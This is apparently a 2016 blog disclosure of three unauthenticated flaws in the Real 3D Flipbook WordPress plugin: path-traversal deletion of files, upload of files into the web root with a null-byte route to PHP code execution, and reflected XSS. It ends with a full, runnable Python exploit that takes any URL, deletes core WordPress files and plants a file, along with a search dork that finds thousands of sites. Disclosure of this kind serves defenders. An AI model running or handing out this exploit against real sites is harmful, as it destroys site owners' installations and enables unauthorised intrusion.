[WordPress] Real 3D Flipbook Plugin Exploit
Mukarram Khalid • July 3, 2016
php wordpress exploits pythonIntroduction
Real 3D Flipbook is a wordpress plugin which uses Web Graphics Library to create 3D flip books. We can upload PDF files or JPEG images and it will automatically make an interactive flipbook for wordpress posts and pages. At the time of writing this post, the plugin costs $32 with $9.60 for extended 12 months support. You can find further details on the official codecanyon page.
Vulnerabilities
The company I work for, bought this plugin few days ago and decided to use it on our wordpress blog for the company featured magazine. We don't install the plugins directly on our wordpress instance. We usually audit the code and add some tweaks first. That's where I come in.
While auditing this plugin, I found some critical vulnerabilities which can be exploited by an unauthenticated user and do some real damage to our wordpress installation. Here's the list of vulnerabilities:
- Delete any file or directory from the server (Unauthenticated)
- Upload images in Root directory (Unauthenticated)
- Cross Site Scripting (XSS) vulnerability
Let's take a look at these vulnerabilities individually.
Delete Files or Directories (Unauthenticated)
This vulnerability exists in a file wp-content/plugins/real3d-flipbook/includes/process.php
. Here's a code snippet from the file.
if (isset($_POST["deleteBook"]) && !empty($_POST["deleteBook"])) {
$bookName = $_POST['deleteBook'];
$dirPath = "../../../uploads/real3dflipbook/".$bookName;
if (! is_dir($dirPath)) {
throw new InvalidArgumentException("$dirPath must be a directory");
}
if (substr($dirPath, strlen($dirPath) - 1, 1) != '/') {
$dirPath .= '/';
}
$files = glob($dirPath . '*', GLOB_MARK);
foreach ($files as $file) {
if (is_dir($file)) {
self::deleteDir($file);
} else {
unlink($file);
}
}
rmdir($dirPath);
}
This file was meant to be called within the scope of wordpress admin panel but it doesn't check for user authentication at all so, an unauthenticated user can call this file and pass POST parameters. On line 55, POST parameter deleteBook
is assigned to a variable $bookName
which further gets concatenated to $dirPath
. Lines 58 – 60 make sure that the resulting path is a valid directory. On line 64, PHPs glob()
function returns an array of filenames and directories matching the given pattern in $dirPath
. From line 65 to 72, it loops through all the file paths and deletes them one by one. At the end of the loop, it deletes the parent directory by rmdir($dirPath)
.
An end user can exploit this vulnerability and delete any wordpress file or directory by simply making a POST request to process.php
with the POST data deleteBook=../../../wp-includes/css
or deleteBook=../../../wp-includes/customize
.
self::deleteDir()
on line 67 may create some problem for us, as we're calling this file outside the class scope. So, we need to make sure that we never land on line 67, the best way is to delete the files in this specific order wpFiles.json. This order starts from the deepest directory with no other directories in it and then gradually moves to the parent directory thus always landing on unlink()
or rmdir()
on lines 69 and 72 respectively.
Upload Images in Root Directory
This vulnerability also exists in file wp-content/plugins/real3d-flipbook/includes/process.php
. Here's the code snippet.
if (isset($_POST["imgbase"]) && !empty($_POST["imgbase"])) {
// get the image data
$data = $_POST['imgbase'];
$bookName = $_POST['bookName'];
list($type, $data) = explode(';', $data);
list(, $data) = explode(',', $data);
$data = base64_decode($data);
$booksFolder = "../../../uploads/real3dflipbook/";
if (!file_exists($booksFolder)) {
mkdir($booksFolder, 0777, true);
}
$bookFolder = "../../../uploads/real3dflipbook/".$bookName;
if (!file_exists($bookFolder)) {
mkdir($bookFolder, 0777, true);
}
$filename = $bookFolder."/".$_POST['pageName'].".jpg";
// $thumbName = $bookFolder."/".$_POST['pageName']."_thumb.jpg";
$file = $filename;
// decode the image data and save it to file
if (!file_put_contents($file, $data)){
echo "failed";
} else {
echo "success";
}
}
On line 5, the POST parameter imageBase
expects the Base64 encoded image data. Something like data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIA...
. On line 6, POST parameter bookName
determines the upload directory path. From line 14 to 26, it processes the image data, decodes it and creates the upload directories. It takes a POST parameter pageName
which is used as the image filename and copies the image data to a JPG file on line 35. An end user can upload images directly in the root directory by simply making a POST request to process.php
.
For example, this payload will upload an image makman.jpg
in the root directory of the website imgbase=data:image/png;base64,iVBORw0KGgoAAA...&bookName=../../../&pageName=makman
, and not to mention, with out any user authentication.
If the webserver is running PHP version prior to PHP 5.3, we can also leverage this vulnerability to code execution by uploading PHP files. PHP < 5.3 was vulnerable to Null Bytes injection/truncation attacks.
In that case, we can upload PHP files by changing our payload to imgbase=data:image/png;base64,iVBOAAA..&bookName=../../../&pageName=makman.php%00
, which will result in makman.php
created in the root directory with our input data imgbase
as the file contents.
Cross Site Scripting (Reflected XSS)
This vulnerability exists in wp-content/plugins/real3d-flipbook/includes/flipbooks.php
where unsanitized user input is directly echoed on the page. An end user can exploit this vulnerability by simply making a GET request to flipbooks.php
with GET parameters action=delete&bookId=<script>alert(/makman/)</script>
.
Exploit Code
A simple search for Google dork "wp-content/uploads/real3dflipbook"
resulted in 13K websites using Real 3D Flipbook plugin.
Here comes the fun part, I've coded a POC in Python which exploits all these vulnerabilities for the given website. It deletes all the important files in wp-content/
and wp-admin/
thus breaking the wordpress installation. Then, it uploads an image makman.jpg
in the root directory of the website and finally checks the XSS payload. Here's the code.
#########################################################################
# [+] [POC][Exploit] CodeCanyon Real3D FlipBook WordPress Plugin
# [+] http://codecanyon.net/item/real3d-flipbook-wordpress-plugin/6942587
# [+] Multiple Vulnerabilities Found by: Mukarram Khalid
# [+] https://mukarramkhalid.com/wordpress-real-3d-flipbook-plugin-exploit/
# [+] Requirements : Python 3.4.x or higher, Requests Module
# [+] Timeline: Vuln Found : 01-07-2016, Reported to Vendor: 03-07-2016
########################################################################
import os, json, base64
try:
import requests
except:
exit('[-] Importing Requests module failed')
class wpFlipbook:
''' Wordpress 3d flipbook plugin exploit '''
headers = {'User-agent' : 'Mozilla/11.0'}
payload1 = {'deleteBook' : ''}
payload2 = {'imgbase' : '', 'bookName' : '../../../', 'pageName' : 'makman'}
payload3 = {'action' : 'delete', 'bookId' : '<script>alert(/makman/)</script>'}
imageUrl = 'https://mukarramkhalid.com/assets/images/m.png'
wpFilesUrl = 'https://mukarramkhalid.com/assets/files/wordpress-real-3d-flipbook-plugin-exploit/wpFiles.json'
def __init__(self, url):
url = url.rstrip('/')
if 'http://' in url or 'https://' in url:
self.url = url
else:
self.url = 'http://' + url
def http(self, url, data = {}, post = False):
try:
if post:
r = requests.post(url, data = data, headers = self.headers, timeout = 20)
else:
r = requests.get(url, params = data, headers = self.headers, timeout = 20)
except:
exit('[-] Something went wrong. Please check your internet connection')
return r
def deleteFiles(self):
print('[+] Loading Wordpress file structure')
r = self.http(self.wpFilesUrl)
wpFiles = json.loads(r.text)
print('[+] Wordpress File structure loaded successfully')
print('[+] Creating directory real3dflipbook')
r = self.http(self.url + '/wp-content/plugins/real3d-flipbook/includes/process.php', {'imgbase' : 'makman'}, True)
print('[+] Deleting Files from wp-includes/ & wp-admin/')
for wpFile in wpFiles['wpFiles']:
print(' [+] Deleting File ' + wpFile)
self.payload1['deleteBook'] = wpFile
r = self.http(self.url + '/wp-content/plugins/real3d-flipbook/includes/process.php', self.payload1, True)
print('[+] Files have been deleted successfully')
def uploadImage(self):
print('[+] Loading image file')
r = self.http(self.imageUrl)
encodedImage = base64.b64encode(r.content)
self.payload2['imgbase'] = ';,' + encodedImage.decode('utf-8')
print('[+] Uploading image file in target root directory')
r = self.http(self.url + '/wp-content/plugins/real3d-flipbook/includes/process.php', self.payload2, True)
print('[+] Image has been uploaded here ' + self.url + '/' + self.payload2['pageName'] + '.jpg')
def xss(self):
print('[+] Checking XSS payload')
r = self.http(self.url + '/wp-content/plugins/real3d-flipbook/includes/flipbooks.php', self.payload3)
if self.payload3['bookId'] in r.text:
print('[+] Found XSS here :')
print(' [+] ' + self.url + '/wp-content/plugins/real3d-flipbook/includes/flipbooks.php?action=' + self.payload3['action'] + '&bookId=' + self.payload3['bookId'])
#########################################################################################################
def banner():
os.system('cls' if os.name == 'nt' else 'clear')
tabs = ' '
print(tabs + '*******************************************************************')
print(tabs + '* [+] [POC][Exploit] CodeCanyon Real3D FlipBook WordPress Plugin *')
print(tabs + '* [+] Multiple Vulnerabilities Found by: *')
print(tabs + '* [+] https://mukarramkhalid.com *')
print(tabs + '*******************************************************************\n\n')
def main():
banner()
url = input('[+] Enter Url\n[+] E.g. http://test.com or http://test.com/wordpress\n[+] ')
exploit = wpFlipbook(url)
exploit.deleteFiles()
exploit.uploadImage()
exploit.xss()
print('[+] Done')
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
exit('\n[-] CTRL-C detected.\n')
# End
After executing this exploit, the wordpress site doesn’t load because the exploit deletes all the files in wp-includes/
.
Vulnerability Timeline
- Vulnerability Found: 2016-07-01
- Reported to Vendor: 2016-07-03
- Public Disclosure: 2016-07-03